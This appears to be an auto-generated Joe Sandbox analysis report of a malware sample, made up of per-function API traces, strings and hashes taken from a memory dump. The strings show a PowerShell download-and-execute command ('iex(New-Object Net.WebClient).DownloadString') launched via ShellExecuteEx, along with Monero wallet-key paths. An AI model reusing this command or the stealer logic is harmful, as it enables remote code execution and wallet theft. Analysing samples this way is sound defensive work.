Windows 11, xrefs: 00DF76BD

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 08b1593b9e4dbb3d64552687d71c5fd4b5afbfae09fe65dd34e272f1fc9ffecd
Instruction ID: 3b050dab3a5dd4ec0e9a34dacac8663191723e5988f8ddbd420573f6f31512cd
Opcode Fuzzy Hash: 08b1593b9e4dbb3d64552687d71c5fd4b5afbfae09fe65dd34e272f1fc9ffecd
Instruction Fuzzy Hash: AE0144B5B04209FBD720EFE4DC49FBA77B8EB44701F208454FB45D7584DAB599008B60

Function 00DF7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00DF7734
RtlAllocateHeap.NTDLL(00000000), ref: 00DF773B
RegOpenKeyExA.ADVAPI32(80000002,0196B9A8,00000000,00020119,00DF76B9), ref: 00DF775B
RegQueryValueExA.ADVAPI32(00DF76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00DF777A
RegCloseKey.ADVAPI32(00DF76B9), ref: 00DF7784

Strings

CurrentBuildNumber, xrefs: 00DF7771

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: b5029743c85a254cb23aeb82103525efad0d4342354887d0fcf8c541745bfd02
Instruction ID: cad6b0de3a6ae4babb2dd58647a596255922eca599a1f25e7c66af966ef3a1bc
Opcode Fuzzy Hash: b5029743c85a254cb23aeb82103525efad0d4342354887d0fcf8c541745bfd02
Instruction Fuzzy Hash: 550144B5B40308FBDB20DFE0DC49FAEB7B8EB44701F108555FA45A7285DAB556008B61

Function 00DE99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00DE99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00DE9A11
LocalAlloc.KERNEL32(00000040,?), ref: 00DE9A31
ReadFile.KERNEL32(000000FF,?,00000000,00DE148F,00000000), ref: 00DE9A5A
LocalFree.KERNEL32(00DE148F), ref: 00DE9A90
CloseHandle.KERNEL32(000000FF), ref: 00DE9A9A

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: e27f54c9dc0eef19010f45e5a9b7469a1a92a8343575b1238f24c3092bd8c932
Instruction ID: 629248a6fa37975576a41ee3cefeb05bd4120b76f05b2f5e3e9a103db64f90c4
Opcode Fuzzy Hash: e27f54c9dc0eef19010f45e5a9b7469a1a92a8343575b1238f24c3092bd8c932
Instruction Fuzzy Hash: 15313EB4A00209EFDB24DFA5D995BAEB7B5FF48340F108168E905A7284D779A941CFB0

Function 00DF4780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0197ED10), ref: 00DF47DB

Part of subcall function 00DF8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00DF8E0B

lstrcat.KERNEL32(?,00000000), ref: 00DF4801
lstrcat.KERNEL32(?,?), ref: 00DF4820
lstrcat.KERNEL32(?,?), ref: 00DF4834
lstrcat.KERNEL32(?,0196B000), ref: 00DF4847
lstrcat.KERNEL32(?,?), ref: 00DF485B
lstrcat.KERNEL32(?,0197D230), ref: 00DF486F

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DF8D90: GetFileAttributesA.KERNEL32(00000000,?,00DE1B54,?,?,00E0564C,?,?,00E00E1F), ref: 00DF8D9F

Part of subcall function 00DF4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00DF4580
Part of subcall function 00DF4570: RtlAllocateHeap.NTDLL(00000000), ref: 00DF4587
Part of subcall function 00DF4570: wsprintfA.USER32 ref: 00DF45A6
Part of subcall function 00DF4570: FindFirstFileA.KERNEL32(?,?), ref: 00DF45BD

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: b145e29ee0494bad856f921c5069ef279bf90adcc76f006b6251922bc4e9095d
Instruction ID: a8196d71f20cacd9a972eb84cf7e8b15ab931e3127ee56da502ef8dd83bfeb9b
Opcode Fuzzy Hash: b145e29ee0494bad856f921c5069ef279bf90adcc76f006b6251922bc4e9095d
Instruction Fuzzy Hash: 3E3152B6A0021C97CB20FBA0DC85EFD7378AB58704F408589F35996085EEB5D7898FB5

Function 00DF2C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,019786B0,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA920: lstrcpy.KERNEL32(00000000,?), ref: 00DFA972
Part of subcall function 00DFA920: lstrcat.KERNEL32(00000000), ref: 00DFA982

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

ShellExecuteEx.SHELL32(0000003C), ref: 00DF2D85

Strings

-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00DF2CC4
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00DF2D04
<, xrefs: 00DF2D39
')", xrefs: 00DF2CB3

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: e9d3c19a435ffc76d339044fa4f2281d63dbc96e7c3ff57cac825ea92bbd528f
Instruction ID: 601b1ab582eda737c4b1be2f94d404c453d58ce39ac5b4f53f90c65153a3ea3e
Opcode Fuzzy Hash: e9d3c19a435ffc76d339044fa4f2281d63dbc96e7c3ff57cac825ea92bbd528f
Instruction Fuzzy Hash: B141DAB180021C9ADB14EBA4C892BFDB774EF10340F55C029E60AB7195DFB46A4ACFB1

Function 00DE9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00DE9F41

Part of subcall function 00DFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DFA7E6

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Strings

v20, xrefs: 00DE9E21
ERROR_RUN_EXTRACTOR, xrefs: 00DE9E67
@, xrefs: 00DE9EF1
v10, xrefs: 00DE9EA3

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 06e18571977496fba1432e3c1d047a50b53f03c9cd78a9adb171f9f942ce08e4
Instruction ID: e11c24ea36fee546ef39e163cc4964732f97237a11c051915169fcf032e54f14
Opcode Fuzzy Hash: 06e18571977496fba1432e3c1d047a50b53f03c9cd78a9adb171f9f942ce08e4
Instruction Fuzzy Hash: FA611C71A00248DBDB24EFA9CC96FED7775EF44340F048118FA0A6B195EB74AA45CB71

Function 00DF40B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,0197D190,00000000,00020119,?), ref: 00DF40F4
RegQueryValueExA.ADVAPI32(?,0197ECE0,00000000,00000000,00000000,000000FF), ref: 00DF4118
RegCloseKey.ADVAPI32(?), ref: 00DF4122
lstrcat.KERNEL32(?,00000000), ref: 00DF4147
lstrcat.KERNEL32(?,0197ECC8), ref: 00DF415B

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: f5d49a0ad31930404b1991ba4d89527a67c27b414c132c94e2a6b8c43dbf0264
Instruction ID: 802eb676c489b45dc280f04f48f239d8374b20b1c917d61607c1c4ab0f3727f6
Opcode Fuzzy Hash: f5d49a0ad31930404b1991ba4d89527a67c27b414c132c94e2a6b8c43dbf0264
Instruction Fuzzy Hash: 264146B6A00108ABDB34EFA0DC46FFE737DAB88300F508558B75557185EE759B888BB1

Function 00DF6920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00DF696C
sscanf.NTDLL ref: 00DF6999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00DF69B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00DF69C0
ExitProcess.KERNEL32 ref: 00DF69DA

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: d10e4ff9dc64320d05a306bad998d112f535d7f6ff31e9231781dfaa829ce5e4
Instruction ID: e94acc2b30b8bcef802bbdfbf79679f3e65cb68ea248a28e15d8aba097dd8286
Opcode Fuzzy Hash: d10e4ff9dc64320d05a306bad998d112f535d7f6ff31e9231781dfaa829ce5e4
Instruction Fuzzy Hash: 2F21EAB5D0020CABCF14EFE8D945AEEB7B5FF48300F14852AE506E3644EB759605CB69

Function 00DF7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00DF7E37
RtlAllocateHeap.NTDLL(00000000), ref: 00DF7E3E
RegOpenKeyExA.ADVAPI32(80000002,0196B708,00000000,00020119,?), ref: 00DF7E5E
RegQueryValueExA.ADVAPI32(?,0197D250,00000000,00000000,000000FF,000000FF), ref: 00DF7E7F
RegCloseKey.ADVAPI32(?), ref: 00DF7E92

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 9dd158a9868921dcd85eb946cb9ac7cf8095da07b40a628d6fb34bc6cc6f8a5d
Instruction ID: 8cfc7337b9b1ccb971056ab8c4b1b9f00ede266f596c0c127521baf1a729f79a
Opcode Fuzzy Hash: 9dd158a9868921dcd85eb946cb9ac7cf8095da07b40a628d6fb34bc6cc6f8a5d
Instruction Fuzzy Hash: 8C118FB1A44209EBD724CF94DD4AFBBBBB8FB44710F20811AF755A7684DB7958008BA0

Function 00DF9260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0197EA58,?,?,?,00DF140C,?,0197EA58,00000000), ref: 00DF926C
lstrcpyn.KERNEL32(0102AB88,0197EA58,0197EA58,?,00DF140C,?,0197EA58), ref: 00DF9290
lstrlen.KERNEL32(?,?,00DF140C,?,0197EA58), ref: 00DF92A7
wsprintfA.USER32 ref: 00DF92C7

Strings

%s%s, xrefs: 00DF92B5

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 91ce0953d57380e27a286d4b034ed0ea4140ced4c64d86d4f8385fa8e26671b8
Instruction ID: 40c51b99f1894864d777b22474b0526c01cf0531ced158a6fb179e6848f95870
Opcode Fuzzy Hash: 91ce0953d57380e27a286d4b034ed0ea4140ced4c64d86d4f8385fa8e26671b8
Instruction Fuzzy Hash: F0011E75600108FFCB14DFECC998EAE7BB9FB48350F108548F9499B605CA35AA40DBA4

Function 00DE12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00DE12B4
RtlAllocateHeap.NTDLL(00000000), ref: 00DE12BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00DE12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00DE12F5
RegCloseKey.ADVAPI32(?), ref: 00DE12FF

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
